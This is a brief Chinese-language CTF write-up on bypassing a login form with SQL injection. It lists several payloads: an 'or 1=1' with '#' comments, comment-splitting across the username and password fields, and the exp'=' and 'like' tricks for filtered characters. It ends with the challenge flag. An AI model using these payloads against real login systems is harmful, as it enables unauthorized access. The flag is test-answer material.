/*这道题很水不过也值得总结下*/
打开界面
1. 我尝试输入 admin admin 竟然出flag了。。。这应该不是作者本意
2. 好了 言归正传 我猜测后台逻辑应该是这样的：
select * from table where username= 'user' and password = 'pass'
3.1 利用逻辑绕过 构造payload admin' or 1=1--+
输入后发现并没有进入，猜测应该是过滤了 'or' 或者'-' 或者'+'
用#替换--+ 构造payload admin' or 1=1# 密码随便输入 发现登陆成功 那为什么--+就不行呢 -- 是注释需在后面添加空格 即 '-- '
admin' or '1'# admin'or'1'='1# 也能绕过
# -- 都能注释到行底 /* */注释中间内容
3.2 利用注释绕过 构造payload 用户名： admin'/*asd 密码 asd*/#
select * from table where username= 'admin'/*' and password = 'asd*/#'
发现登录成功，说明没有过滤 '#' ，尝试将#换成 '-- '也能成功绕过，如果过滤了 'or' '#' '-' 怎么绕过
如果你尝试把payload 用户名： exp/*asd 密码 asd*/# 你会发现不能绕过，究其原因是数据库里面没有 'exp'
此时机智的你又想到如果数据库里没有 ‘admin'又该怎么绕过，
3.3 进阶的逻辑绕过 构造payload 用户名： exp'=' 密码 exp'='
select * from table where username= 'exp'='' and password = 'exp'=''
发现登陆成功，因为数据库里没有 'exp' sql从左向右执行，故 false='' 为真
4.4 如果过滤 '=' 等号替换成like
select * from table where username= 'exp'like'' and password = 'exp'like''
这样也能成功绕过
flag: htryyujryfhyjtrjn